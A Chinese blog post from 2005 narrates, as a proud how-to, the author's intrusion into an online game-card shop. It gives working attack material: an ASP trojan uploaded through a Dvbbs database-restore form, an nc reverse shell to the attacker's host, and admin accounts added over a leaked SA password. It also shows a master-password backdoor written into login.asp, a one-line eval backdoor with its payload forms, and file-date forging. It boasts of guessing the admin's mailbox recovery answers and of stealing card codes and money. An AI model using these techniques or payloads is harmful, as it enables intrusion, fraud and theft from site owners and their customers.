作者:★世界末日★
性质:原创

前题:

本文章技术含量并非很高,但涉及到的思路及知识应用点希望可以帮助一部份和偶这样菜的菜鸟.

正文开始:

11月20号下午四时许,天色已渐降临,还有四个多小时才下班,闲着也是闲着,到<幼儿园>群里看看吧,潜水几天了 ^_^

群里的人就是牛B,各大网站的站长都有,N年前牛B的人也在,当然,吹牛B的一部份也不少.

嗯,聊了几分钟,聊到了在网上黑大网站挂木马,搞站卖shell,搞各种销售站点卖钱的话题,干脆有个黑人把17173.com.cn的shell也发了出来,牛B得不得了,偶对他的敬仰真是有如江水滔滔不绝,又如长江决提一发不可......

现在的黑人们,大多数都走向职业化,所谓的职业化,也只不过是应用掌握的技术,搞点钱花花吧!

此时心里想,其实这也没有什么不对的,搞技术的,不靠技术赚点钱,就算一份工作,一个月拿那么点工资,有技术不等于没有?想到这里,于是顺便打听了一些好友的"赚钱"路子,有的说黑大网站挂木马偷帐号卖给游戏玩家赚钱,有的说直接去黑各游戏私服服务器,直接卖装备,有的说黑各站点的整站卖钱...... 另一朋友司徒对我说,其实也可以去搞一些游戏点卡销售的站点,直接拿点卡就OK了,听了不禁有些心动。毕竟偶接触这方面的人多,路子也多......

好吧,动手。

打开IE,www.google.com,输入:“点卡在线销售”。

出现的站点可还真不少,看来,网游的产业在互联上的地位非同一般了,赚网钱的人也多了起来,嗯,偶们也赚去,^_^ , 这样的站,什么云网,卡天地....多得数不清,不过偶们懒得数,看上了一个界面不错的,试着拿他开刀吧。

站上有ASP,PHP的页面,马上想起看能不能用SQL注入,没办法,习惯了,SQL注入闹得昏昏烈烈,试一下吧。

http://xxxx/card_show.asp?id=56
http://xxxx/card_show.asp?id=56'
显示:请不要尝试“',--,select,mid*********"之类的字符,XXX防SQL注入专用系统!我曰,太阳!还专用防SQL注入呢,没门。

失败,拿出SuperScan扫几个常用端口,开放的端口21,80,1433

Faint!

尝试旁侵,打开旁注专用工具。

扫出10多个国际域名.

呵呵,我不信你10多个站没一个有洞,GO,逐一检查.....

用旁注工具检测了一通,看那些站包括:
dvbbs/dvbbs6.mdb
bbs/upfile.asp
upload_soft.asp
之类的页面,一分钟过去了,程序显示完成,昏倒,一个都没有。
一个个打开那些站点看看的时候,差点没把我气死。TMD,10几个域名差不多全部指向同一个站,我倒!

再仔细的观察一次,有一个站是私服的主页,我昏哦,难道服务器上还有私服?其中一个超连接是<本站论坛>,低落的情绪马上爆涨起来,点一下进去看看。
http://xxxx/Xsfbbs/index.asp
本页面需要cookies支持,如果你的浏览器不支持cookies将不能登陆本系统。。。。

一看就知道是动网的,他的二级路径是XsfBBS,怪不得刚才检测不到,晕。希望论坛可以找到突破口了。

3秒钟过去,论坛打开了,逼不及待马上看最下面那几行字:

####
Powered By :Dvbbs Version 7.0.0
?2003-2004 XXXXXXXXX网::网站声明及发帖须知:: 联系QQ:XXXXXXX
执行时间:62.50000毫秒。查询数据库2次。 当前模板样式:[默认模板]
####

(小刀评论:建议直接访问upfile.asp文件来判断是否存在上传漏洞,因为SP2补丁有两个,第一个是没有补上传漏洞的)

哇,不是sp2??不是吧???那偶不是可以抓包上传ASP?高兴中。。。

马上注了一个帐号,shijiemori/pass,登陆..

打开 WSockExpert (一个专用的抓包分析等软件)抓了登陆后的cookies,再拿出老兵的《动网漏洞上传工具》,填表上COOKIE,填上http://www.XXXX.com/Xsfbbs/upfile.asp,点击上传。。。。那个激动呀!

(小刀评论:嘻嘻,这里犯了一个错误,其实是不用抓COOKIES的,直接上传就行了,可以的小末,每次都抓包,同情ING....)

3秒钟过去,程序返回的信息:对不起,你发帖数量必须大于0才能上传文件。

太阳!靠,肯定是TMD打了sp2的补丁,TMD怎么下面没改回来,误人子弟,欺骗偶滴感情。哭ing....

(小刀评论:没有打补丁,只是管理员作了限制)

天哪,你怎么可以这样对偶捏?再找找其它的站,都是指向那卡站,昏哦,难道真没办法了啊?

再分析一下吧,实在不行就放弃,天下何处无芳草,留得处男在,那怕***** @_@

累了,吃饭先。。。。。。。。。。。。

半小时后,偶回来了,站长,偶这下子吃饱,喝足鸟,又回来鸟。

继续分析,这下不知道是不是吃饱喝足的原因,突然发现论坛下面的QQ联系人和其它网站的都一个样,HOHO`原来站长乃是同一人物。习惯性来说,他的各个地方的密码都是一样滴`偶尝试一下看能不能猜他密码先。

点击了那管理员的帐号,看一下他个人资料,QQ:“XXXXXXX”,个人签名档里写着:“XXX我爱你,就像老鼠爱大米”。

当机立断,加了他的QQ,无意中发现他QQ资料也是这样写,“XXXX我爱你”,XXXX是一个MM名字,他邮箱是XXXXX@163.com,去他邮箱看看。
打开mail.163.com,点忘记密码?输入他的用户名。到他QQ里找他的生日年月,填了上去,哈哈,果然正确,第二步,回答问题,问题是,我最爱的人。答案我填了XXX(他QQ资料里那MM的名字),一点,哈哈,正确了,我靠啊,真TMD爽啊。这下子,我拿到了他的邮箱。时间是刚好7点。Yeah!

邮箱拿到了,邮箱里也没什么,哈哈,就算有,对偶的帮助也不一定很大滴说,突然灵机一动,他的论坛密码会不会是??????
你真聪明,猜对了,我们到他论坛的登陆页面,敲入他的用户名,密码是XXXwoaini,登陆-->登陆成功!

哈哈,那个激动啊,明天得去把六合彩,体育彩票,通通买光,让TMD关门。做个世界首富不成问题滴说,到时豪华个人飞机,出出入入身边PLMM一大片,晚上一个,早上一个,吃饭一个,逛街二个 @_@  @_@  .........
噢,忘了,进后台先,找到文件上传类型,加上个|asp,哈哈,到首页那个帖先。。。

嗯,点击上传我可爱的asp木马.......

唔?唔?怎么上传不了?靠,倒?唔??我加了asp类型呀,怎么还不能上传???再试一次,还是失败,我倒。后来才发现,动网sp2就算在后台加了|asp|cer|cdx|asa之类的文件扩展名,也是不能上传滴,我,太阳!这下子闷郁死了,N久不用动网,算是偶孤陋寡闻鸟。。偶还没死心,下一步,动网不是有个数据库备份功能吗?用这个功能来实现图片与ASP之前的转换可不OK?

(小刀评论:其实从7.0的最初版开始,已经限制了后台添加ASP上传类型,所以不用试这步了,直接备份数据库就行了,时间也差不多)

嗯,马上动手。

先到首页发个帖,把我的 "ASP木马.asp" 改名成"asp.jpg"

发帖上传,现在是JPG格式的文件,看你丫的让不让偶上传 ^_^

显示上传成功,不过上传后的文件名是jpg的,偶不管,记下路径先。


此主题相关图片如下:
按此在新窗口浏览图片

再回到数据库里找还原数据库的页面。HOHO~~ 好像成功在即。

嗯,点了一下[还原数据库]的超连接,页面出来了,但!!哦?嗯??嗯??????怎么没有恢复功能啊??我靠,原来这个论坛是TMD是SQL数据库的,我倒!!!这不分明是损我吗?天哪,怎么这样子对偶捏??

再次郁闷......

没办法,得向群求救。

通过一个朋友得知,原来这样也要以运用数据库的[还原功能],嘿嘿,心动了吧?怎么弄呢?我们继续:

在桌面新建一个wokao.htm,里面的代码是:

<form action="http://XXXX/bbs/admin_data.asp?action=RestoreData&act=Restore" method="post">
<p>上传后的图片地址:<input name="Dbpath" type="text" size="80" value="UploadFile/2004-12/20041120192715291.gif"></p>
<p>木马保存地址:<input name="backpath" type="text" size="80" value="shijiemori.asp"></p>
<p><input type="submit" value="提交"></p>
</form>
'代码结束

上面的<from action=" " 这里的地址填上对方论坛绝对地址/admin_data.aspadmin_data.asp?action=RestoreData&act=Restore,Dbpath文件本筐里填表上上传后的马马图片地址,比如我传的图片地址是UploadFile/2004-12/20041120192715291.gif, backpath 文本筐里填写你要保存的马马地址,比如shijiemori.asp。
然后要做的就是点提交了,要是你运气比偶还差的话,那。。。。 要不然你肯定可以成功,成功后提示,数据库还原成功。
哈哈,好了,成功就好,可以访问我的马马了,还想啥?哈!!!
打开
http://XXXX/UploadFile/shijiemori.asp     //这是偶滴马马地址
点密码进去。啊嘎嘎.

这样就完成了入侵的第一步,下面直接要做的就是拿那个站的卡啦。

属话说得好哇!留得处男在 ,那怕*******,哈,不辛运的日子已时过境迁,偶已经改头换面,从失魂落魄紧张低落到情绪高涨,又大难不死,必有后福 ^_^ ,说了这么多,都是为了表示对管理员的硬盘不作权限设定而偶是多么多么的开心,吼吼!!

第一件事当然是到shell里找找他开了那些服务

net start

已经启动以下 Windows 服务:

   Application Layer Gateway Service
   Automatic Updates
   Background Intelligent Transfer Service
   COM+ Event System
   Computer Browser
   Cryptographic Services
   Distributed File System
   Distributed Link Tracking Client
   Distributed Transaction Coordinator
   DNS Client
   Error Reporting Service
   Event Log
   FTP Publishing Service
   GhostStartService
   Help and Support
   IIS Admin Service
   IPSEC Services
   Logical Disk Manager
   Microsoft Search
   MSSQLSERVER
   MSSQLServerOLAPService
   Network Connections
   Network Location Awareness (NLA)
   NT LM Security Support Provider
   Plug and Play
   Print Spooler
   Protected Storage
   Remote Procedure Call (RPC)
   Remote Registry
   Routing and Remote Access
   Secondary Logon
   Security Accounts Manager
   Serv-U FTP Server
   Server
   Shell Hardware Detection
   System Event Notification
   Task Scheduler
   TCP/IP NetBIOS Helper
   Terminal Services
   Windows Audio
   Windows Management Instrumentation
   Windows Time
   WinHTTP Web Proxy Auto-Discovery Service
   Wireless Configuration
   Workstation
   World Wide Web Publishing Service

命令成功完成。

hohoho,注意到倒数第8条了吗?TMD开了终端,竟把端口改了,再输入命令。

netstat -an


Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:21             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING
.......
  TCP    0.0.0.0:3247           0.0.0.0:0              LISTENING
  TCP    127.0.0.1:3721         0.0.0.0:0              LISTENING
  TCP    127.0.0.1:1433         0.0.0.0:0              LISTENING
  TCP    127.0.0.1:43958        0.0.0.0:0              LISTENING
.......
  TCP    xxx.xxx.xxx.xxx:21     219.137.65.165:1916    ESTABLISHED
  TCP    xxx.xxx.xxx.xxx:80     61.49.255.129:4047     ESTABLISHED
  TCP    xxx.xxx.xxx.xxx:80     61.145.209.148:2277    ESTABLISHED
  TCP    xxx.xxx.xxx.xxx:80     61.149.12.214:14816    ESTABLISHED
***************************
(以下省略)

(小刀评论:如果有执行权限的话,建议用c3389.exe这个小程序,直接显示出终端服务的端口,要不就netstat -an -p tcp)

尝试了一下几个端口连接,最后确定,3721是真正的终端端口,小样还是win2003系统。hhoo.

马上提升权限,问小刀借了个serv-u5.2版本以下的Serv-U本地权限提升程序和一个nc.exe

(小刀评论:对Serv-u6.0也通用)

先反弹回来一个shell,在对方系统上输入d:\www\wwwroot\nc.exe -e cmd.exe xxx.xxx.xxx.xxx 4321

在本机c:\nc.exe -vv -l -p 4321

shell马上就回来了,执行提升命令,d:\www\wwwroot\servulocal.exe "d:\www\wwwroot\nc.exe -l -p 99 -e cmd.exe"

不过,很抱谦,执行不成功,为啥?因为他的FTP不存在漏洞,补丁早打了,Faint!

接着回去他的卡站目录,查看一下CONN.ASP文件(通常网站连接数据库都用此文件名),内容如下:

Session.Timeout=115
if request("b_rules")=1 then
Response.Buffer = True
else
Response.Buffer = True
Response.ExpiresAbsolute = Now() - 1
Response.Expires = 0
Response.CacheControl = "no-cache"
end if
sitetitle=" - 点卡在线销售系统"

 dim conn  
 dim connstr  
 on error resume next

 connstr = "driver={sql server};server=localhost;uid=sa;pwd=XXXwoaini;database=cardsbuy;"

 set conn=server.createobject("ADODB.CONNECTION")
 if err.number<>0 then
  err.clear
  set conn=nothing
  response.write "数据库连接出错!"
  Response.End
 else
  conn.open connstr
  if err then
   err.clear
   set conn=nothing
   response.write "数据库连接出错!"
   Response.End
  end if
 end if  
 
 sub endConnection()
  conn.close
  set conn=nothing
 end sub
##############################
看到这里我不禁笑了出来,数据库用SA连接。管理员还真TMD可爱呀,嗯,他不小心,偶开心。hoho..

马上找出SQLexec (一个远程的SQL连接工具),填上用户,密码,连接成功。
打入命令
net user shijimori hack /add
命令成功完成。
net localgroup administrators shijiemori /add
命令成功完成。

(小刀评论:偶更喜欢用蓝芒的那个SQLTOOLS)

马上连接对方的终端,填表上用户,密码,OK,进去鸟,哈哈......

习惯性第一件事要做的,克隆一下guest帐号(克隆帐号的方法可去www.cnsu.org找“克隆管理员帐号就可获得相关资料),然后注销,用guest登陆,删掉刚才那个用户的登陆记录及用户。
打开他的SQL企业管理器,所有的帐号马上逞现在眼前,嘿嘿嘿,先把他的SQL数据库备份一下,然后拉回本地,在本地装个SQL数据库,再把他的数据库还原到本地,这下子轻松多了。
不过,他的密码是MD5加密的,想用他们客户的帐号进去买东西,还得一个一个改MD5密码,昏,麻烦。
后来便写了一个专门读卡的小小ASP页面,放上去,直接显示卡号密码,爽。。留了几个ASP木马,冲了几十个QB。
这时候也差不多到时间下班了,嗯。擦擦屁股走人先。。。


这样,读卡页面一直用,过了7天。。。。。。。。。

11月28号

再次登陆那个卡站的时候,发现读卡页面被删,一下子心跳起来,既然被发现了,一不做二不休,把他的钱花光,转帐。

找到了一个一级管理员的帐号,改了他的密码,把他的帐号余额一万多元,全部转到esales自己用户上。并且向自己的QQ中转帐一千多个QB.

当时真傻,这样的事情都做得出来,原来,在他们系统里转帐还得经过他总后台同意,这样一来,我暴露了自己的QQ和esales的帐户。

###############
11月29日下午上线的时候,发现QQ里来了10多条这样的信息:

用户xxxxxxxx请求你通过身份验证

附加消息:公安已经立案了 IP地址他们已经查到了 丢了2000多元卡

用户xxxxxxxx请求你通过身份验证

附加消息:这些钱 都是这个IP地址的人赔给我 公安已经保证过了

用户xxxxxxxx请求你通过身份验证

附加消息:还要另外赔给我电话费等100元 我胜利了:}

用户xxxxxxxx请求你通过身份验证

附加消息:你们的 世界末日し要到了

................
..............
............
###############


当时紧张了3秒,然后恢复平静,那站长说的是实话?还是恐吓之类的话,他不怕人家格他硬盘?

呵呵,怕他是小鸟,我们继续,换了一个韩国肉鸡,登陆他的终端,发现我的guest密码已经不对了。

还好,SA还能连得上去,还可以加用户,哈哈哈。马上加了一个用户,又上终端,在他的login.asp(登陆页面)找到这么一句,加了这么一句话:

if trim(rst("userpassword"))<>trim(md5(request("password"))) then
response.write("<script>alert('帐号或密码错误!请确认后再提交。');history.go(-1)</script>")
response.end
end if


这是登陆验证页面,我在这句代码了做了些手脚,把代码改成:

if trim(rst("userpassword"))<>trim(md5(request("password"))) then
password1=request("password")
if password1<>"shijiemori" then
response.write("<script>alert('帐号或密码错误!请确认后再提交。 (Err=0103)');history.go(-1)</script>")
response.end
end if
end if

这句意思是说,当检测到对方的密码不正确,并且提交的密码不是"shijiemori"的时候才显示密码错误,也就是说,我用任何一个用户,输入shijiemori这个密码,他都是正确的。哈哈。这就成了“万能密码”
今天特意在他一个比较隐蔽的地方,再放了一个ASP后门,以后每次都用这个后门登陆,并且修改他的硬盘资料。
同时也在N个页面里放了一句这样的代码(一句话后门):
<%
shijiemori=request("shijiemori")
if shijiemori="trun" then
execute request("o")
end if
%>
注:上面这句话功能非常强大,文章后面再作介绍.


12月7日

当我再登陆后门的时候,发现后门也已经被删了,faint,心想管理员已经严重发现了我的存在。

没关系,在他的index.asp里,我还有一句话后门。在本地构建一个提交post.htm页面,内容如下:

<form action=http://XXXX/index.asp method=post>
<input type="hidden" name="system" value="shijiemori">
<textarea name=o cols=120 rows=10 width=45>set lP=server.CreateObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request("p")
lP.SaveToFile server.mappath("shijiemori.asp"),2
lP.Close
set lP=nothing
response.redirect "shijiemori.asp"
</textarea>
<textarea name=p cols=120 rows=10 width=45>木马</textarea><BR><center><br>
<input type=submit value=提交></form>

'代码完成

把上面的“木马”改成你的木马代码,点击上传,就会在跟目录写入一个shijiemori.asp的木马,便可以用
http://XXXX/shijiemori.asp登陆

这样,我还是对他的服务器有看管理的权力。

12月12日

我把读卡面页设为本地读取,在本地连接他的SQL服务器,本地操作相当于远程操作,加钱,或增加用户,或管理数据库,呵呵。

12月14日

对方SQL服务器已经不对外了,心想是他发现了外部的连接,曰!他只对LOCALHOST开放,再 日。连不上去了,没办法,还得上去他服务器。

通过前面一句话木马我们还可以写木马进去,但是。。。。。。。。。但是。。。。。。。。。。。

写进去的木马几分钟后就被删了,原来,管理员对硬盘的文件实时监控,一发现有新增的文件或新修改的文件,都去检查一遍。

所以,我不敢写木马了,但,我还是可以用他的帐号并且万能密码进去取卡。hoho.

这里我想聪明的你一定会问,为什么他没发现我登陆的页面做了手脚?因为,我修改了那个文件的修改日期。

修改文件的日期程序目前我发现有2个,一个GUI界面,一个DOS,小刀给偶滴。比如把c:\windows\system32\cmd.exe的建立日期修改为2004年12月24日,这样管理员就不容易查出来啦。
所以,我的后门逃过此劫。
12月17日

对方重装了系统,所有的硬盘分区都不可写。只能读,昏倒。不能写还能做什么?你一定会问。

这里,我得严重介绍刚才一句话目马的应用了。

在本地构造提交页面fso.htm,内容如下:

<form action=http://xxxx/index.asp method=post>
<input type="hidden" name="system" value="mori">
<textarea name=o cols=120 rows=10 width=45>response.write "<textarea rows=""9"" name=""s1"" cols=""43"">"
set FsObj=Server.CreateOBject("Scripting.FileSystemObject")
filepath="D:\www\wwwroot\conn.asp"
Set txtsObj = FsObj.openTextFile(FilePath,1,false)
if txtsObj.atEndOfStream then
Response.write "No file"
else
Response.Write txtsObj.Readall
end if
response.write "</textarea>"
</textarea> <BR><center><br>
<input type=submit value=提交></form>

'代码完成

点击提交,这样就把D:\www\wwwroot\conn.asp的内容显示了出来,呵呵。。。

得到数据库连接文件后我们可以执行任何数据库命令。

比如

conn.execute ("update admin set password='123456' where username='admin'")
改管理员密码。
这样子我还是照样可以拿他数据库的用户列表或卡哈哈。

12月22日

管理员疯了,在首页和登陆页面上把所有人的IP都禁止,只给他的客户访问,当客户联系他并且提供客户的IP地址给他的时候,他便把客户的IP写进数据库验证,偶又进不去鸟。其中,验证代码如下:

<!--#include file="conn.asp"-->
<%
'IP限制函数
dim rs,str1,str2,str3,str4,num,sip,movieip
sip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
if sip="" then sip=Request.ServerVariables("REMOTE_ADDR")
  if isnumeric(left(sip,2)) then
   str1=left(sip,instr(sip,".")-1)
 if str1<100 then
  str1=cint(str1)+300
 end if
   sip=mid(sip,instr(sip,".")+1)
   str2=left(sip,instr(sip,".")-1)
   sip=mid(sip,instr(sip,".")+1)
   str3=left(sip,instr(sip,".")-1)
   str4=mid(sip,instr(sip,".")+1)
    if isNumeric(str1)=0 or isNumeric(str2)=0 or isNumeric(str3)=0 or isNumeric(str4)=0 then
    else
     num=cint(str1)*256*256*256+cint(str2)*256*256+cint(str3)*256+cint(str4)-1
     set rs=conn.execute("select id from [lockip] where ip1<="&num&" and ip2>="&num&" ")
       if rs.eof and rs.bof then
        movieip=1
       else
        movieip=0 
       end if
rs.close
set rs=nothing
end if
end if

'IP限制
if movieip=1 then
 response.write "<script>alert('您的IP已经被限制不能访问,请和管理员联系!');</script><script>window.close();</script>"
 response.end
end if
%>

呵呵,真BT,不过,你够BT,偶们也BT,行动,构造以下ip.htm代码提交:
下面的XXXXX.asp是偶另一个后门 ^_^

<form action=http://xxxx/XXXXX.asp method=post>
<input type="hidden" name="system" value="mori">
<textarea name=o cols=120 rows=10 width=45>
'以下把我的IP段按他的算法格式写入数据库,我看你牛不牛。
conn.execute ("Update lockip set ip1='365820xxxx',ip2='365820xxxx' where id='1'")</textarea> <BR><center><br>
<input type=submit value=提交></form>

这样就可以把你的IP写到他数据库,也就可以正常访问了。哈哈!!!!!!!!

至于以后偶怎么对待这个服务器,下次再写。

12月24日

这篇文章随着生蛋节而蛋生。真心希望以上的心得及代码对大家有所帮助。谢谢。。。

                    ----世界末日---- QQ:36117077  原创

 

(小刀评论:总得来说,这篇文章写得还不错,思路挺妙的,运气也有很大成份,也有一定的原创精神.,嘻嘻)

posted on 2005-01-17 01:37  dahai.net  阅读(1105)  评论(4编辑  收藏  举报